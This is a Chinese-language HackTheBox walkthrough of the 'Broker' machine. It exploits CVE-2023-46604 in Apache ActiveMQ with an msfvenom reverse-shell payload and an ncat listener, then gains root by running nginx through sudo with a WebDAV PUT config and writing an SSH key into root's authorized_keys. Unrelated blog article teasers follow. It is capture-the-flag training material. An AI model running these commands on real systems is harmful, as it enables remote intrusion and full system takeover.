HackTheBox-Machines--Broker

文章目录

  • 1 端口扫描
  • 2 测试思路
  • 3 漏洞探测
  • 4 CVE-2023-46604漏洞利用
  • 5.权限提升


Broker 测试过程


1 端口扫描


nmap -sC -sV 10.129.41.28

2 测试思路


  目标开启了22、80、61616端口,在服务器开启了非web及一些需要账号密码进行登录的端口时,我们的入手点从这些端口服务开始,在Broker靶场中,开启了61616端口,并且nmap扫描显示运行5.15.15版本的 Apache ActiveMQ 服务,所以我们先从该服务入手。


3 漏洞探测


  Nmap扫描结果显示 Apache ActiveMQ 服务版本为 5.15.15,搜索该版本是否存已知漏洞。
  发现 5.15.15 存在 CVE-2023-46604 反序列化漏洞,该漏洞允许远程攻击者通过网络访问基于 Java 的 OpenWire 代理或客户端以运行任意命令,通过操作 OpenWire 中的序列化类类型来执行 shell 命令。


4 CVE-2023-46604漏洞利用


1.漏洞利用工具下载

  漏洞利用工具地址https://github.com/X1r0z/ActiveMQ-RCE

在这里插入图片描述

2.使用msfvenom生成一个ELF可执行文件上传并执行

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.48 LPORT=4444 -f elf -o

在这里插入图片描述

3.修改poc-linux.xml文件中的IP地址,将其修改为我们的服务器地址

在这里插入图片描述

4.本地开启web服务器并开启监听

python3 -m http.server 8001 & ncat -lnvp 4444

5.执行漏洞利用脚本

go run main.go -i 10.129.41.28 -p 61616 -u http://10.10.14.4:8001/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ/poc-linux.xml

在这里插入图片描述

6.获取到反弹shell
在这里插入图片描述


5.权限提升


# 获取稳定shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

在这里插入图片描述

1.执行 sudo -l 查看权限

# 显示出自己(执行 sudo 的使用者)的权限
sudo -l

  发现可以使用root身份运行nginx,并且是空密码使用

在这里插入图片描述

   所以此时提权思路是如何利用Nginx从普通权限提升到系统权限.
   在Nginx中,ngx_http_dav_module 模块用于通过 WebDAV 协议进行文件管理自动化。该模块处理 HTTP 和 WebDAV 的 PUT、DELETE、MKCOL、COPY 和 MOVE 方法。

2.自定义配置文件

   更新配置并启用 PUT。Nginx 主进程以 root 用户身份运行,并设置服务器块应侦听传入连接的端口为1337。

# pwn.conf文件内容如下
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
worker_connections 768;
}
http {
server {
listen 1337;
root /;
autoindex on;
dav_methods PUT;
}
}
 wget http://10.10.14.4:8001/pwn.conf

在这里插入图片描述

3.通过-c参数使nginx运行该配置文件

sudo nginx -c /tmp/pwn.conf

在这里插入图片描述

4.检查开放端口以证明配置文件是否生效

ss -tlpn

  pwn.conf中配置的监听端口1337生效,配置文件执行成功

在这里插入图片描述

5.生成ssh密钥

ssh-keygen

在这里插入图片描述

6.利用put协议将我的 SSH 公钥写入 root 的 authorized_keys 文件

curl -X PUT localhost:1337/root/.ssh/authorized_keys -d "$(cat root.pub)"

在这里插入图片描述

7.ssh连接root

 ssh -i root root@localhost

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/256921.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

出国旅游需要注意些什么

出国旅游是一种令人兴奋、令人期待的经历。然而,在进行这种经历之前,有几件事情是需要注意的。本文将为您介绍出国旅游需要注意的一些重要事项。首先,为了确保您的出国旅行顺利进行,您应该提前办理好您的签证和护照。不同国家对于…

【新姿势】SpringBoot下时间配置新方式(同文件大小)

SpringBoot Duration 背景: 在SpringBoot项目中,我们经常需要配置时间参数,作为某一动作的间隔。以往我们通常是在配置文件中定义字段后,直接设置对应的秒或毫秒值,遇到计算时,直接在此基础上做运算。这种…

Android WorkManager入门(一)

WorkManager入门 前言一、WorkManager是什么?二、使用1.添加依赖2.定义工作3.创建 WorkRequest并提交 一次性的任务(OneTimeWorkRequest)4.setExpedited 加急方法5. setInitialDelay 延时任务6.约束 总结参考资料 前言 在当今快节奏的生活中…

Volta简单介绍

Volta是一款强大的JavaScript工具管理器,它简化了命令行工具的安装和管理。通过Volta,开发者可以轻松地在多个项目中切换和配置Node.js、npm以及其它JavaScript工具版本,提高开发效率和环境一致性。 什么是 Volta Volta 是一种管理 JavaScri…

如何在公网环境使用固定域名远程访问内网BUG管理系统协同办公

文章目录 前言1. 本地安装配置BUG管理系统2. 内网穿透2.1 安装cpolar内网穿透2.2 创建隧道映射本地服务3. 测试公网远程访问4. 配置固定二级子域名4.1 保留一个二级子域名5.1 配置二级子域名6. 使用固定二级子域名远程 前言 BUG管理软件,作为软件测试工程师的必备工具之一。在…

056:vue工具 --- CSS在线格式化

第056个 查看专栏目录: VUE ------ element UI 专栏目标 在vue和element UI联合技术栈的操控下,本专栏提供行之有效的源代码示例和信息点介绍,做到灵活运用。 (1)提供vue2的一些基本操作:安装、引用,模板使…

台湾虾皮本土店铺:如何在台湾虾皮本土店铺开展电商业务

在台湾地区,虾皮(Shopee)是一款备受欢迎的电商平台。虾皮拥有强大的技术团队、丰富的电商经验和对市场的深刻理解。虾皮本土店铺凭借其在出售、物流、回款、售后、仓储等方面的一条龙服务,为广大卖家提供了全方位的保障和支持。如…

【HCIP学习记录】OSPF之DD报文

1.OSPF报文格式 24字节 字段长度含义Version1字节版本,OSPF的版本号。对于OSPFv2来说,其值为2。Type1字节类型,OSPF报文的类型,有下面几种类型: 1:Hello报文;● 2:DD报文&#xff1…

人工智能解决方案工程师,究竟是个怎样的职业?

人工智能解决方案工程师是专注于利用人工智能技术为企业和组织提供解决方案的专业人员。 他们在人工智能技术的基础上,结合业务需求和场景,设计和开发定制化的智能系统,以解决特定的问题或优化业务流程。 人工智能解决方案工程师需要具备一系…

ros2 学习04 工作空间说明及示例

ros2 术语说明: 大家在学习其他的开发语言之前的学习和开发中,应该有接触过某些集成开发环境,比如Visual Studio、Eclipse、Qt Creator等,当我们想要编写程序之前,都会在这些开发环境的工具栏中,点击一个“…

win环境下启动kafka Port already in use: 6688; nested exception is

背景 zk启动成功后,接下来启动kafka,再启动kafka后一直说端口被占用。 端口占用解决办法: netstat -aon|findstr 9092 taskkill -f -pid 7780 杀掉后,再次启动kafka时,问题并未解决 后来修改了批处理文件kafka-run-class.bat中…

从零开始学习Web自动化:用Python和Selenium实现网站登录功能!

Web自动化测试实战项目:使用Selenium和Python完成网站登录功能的自动化测试 本文将介绍如何使用Selenium和Python编写自动化测试脚本,对网站登录功能进行测试。我们将通过模拟用户在网站上输入用户名和密码,并点击登录按钮,来检验…

测试工具Jmeter:设置中文界面

首先我们打开Jmeter所在的文件,进入bin目录,打开Jmeter.properties: 打开后找到languageen: 改为zh_CN: 保存关闭,然后再打开Jmeter: 英文并不会显得高级,能做到高效的性能测试才是高级的。

明理信息科技打造专属个人或企业知识付费平台,核心功能设计

在当今信息爆炸的时代,知识管理已经成为了每个人必须面对的问题。然而,市面上的知识付费平台大多数都是通用的,无法满足个性化需求。 因此,明理信息科技提供了一款专属定制的适合个人的知识付费平台。核心产品能力如下&#xff1…

宠物新手必读:5款公认性价比高的猫罐头测评

很多人在买猫罐头的时候,可是费了老鼻子劲儿了。他们浏览了各大平台,读了大量的评测文章,就想着找到最好的那一个。但最后他们发现,很多所谓的「实测」都是虚的,假的。花了几天时间,结果选了个垃圾猫罐头&a…

Elasticsearch——深入原理

在正式介绍Elasticsearch的具体功能以前,将介绍Elasticsearch中比较重要的原理与机制。这有助于理解Elasticsearch的内部机制,以及从表面功能深入了解其背后的逻辑本质。主要内容如下: 搜索引擎的基本原理和组成结构。Elasticsearch集群的形…

Java基础语法之内部类

什么是内部类 就是在一个类中又定义了另一个类 分类 实例内部类 即未被static修饰的内部类 1.外部类中的任何成员都可以在内部类里面直接访问,不管这个成员是什么权限 2.内部类对象的创建必须是在有外部类成员的前提下 这是错误的,那如何实例化呢&a…

个人熟悉C语言,准备学习嵌入式,用得上吗?

今日话题,准备学习嵌入式,熟悉C语言用得上吗?C语言具有高效的性能和接近硬件的特性,因此在嵌入式开发中有着广泛的应用,包括系统级编程和驱动程序开发等方面。实际上,C语言在嵌入式开发中扮演着非常关键的角…

八股文打卡day3——计算机网络(3)

面试题:请讲一下四次挥手的过程? 1.客户端发送FIN数据包给服务器,表示客户端不再发送数据给服务器,想要断开这个方向的连接。 2.服务器收到客户端的FIN包之后,发送ACK包给客户端,对收到的FIN包进行收到确认…

大数据机器学习-梯度下降:从技术到实战的全面指南

大数据机器学习-梯度下降:从技术到实战的全面指南 文章目录 大数据机器学习-梯度下降:从技术到实战的全面指南一、简介什么是梯度下降?为什么梯度下降重要? 二、梯度下降的数学原理代价函数(Cost Function)…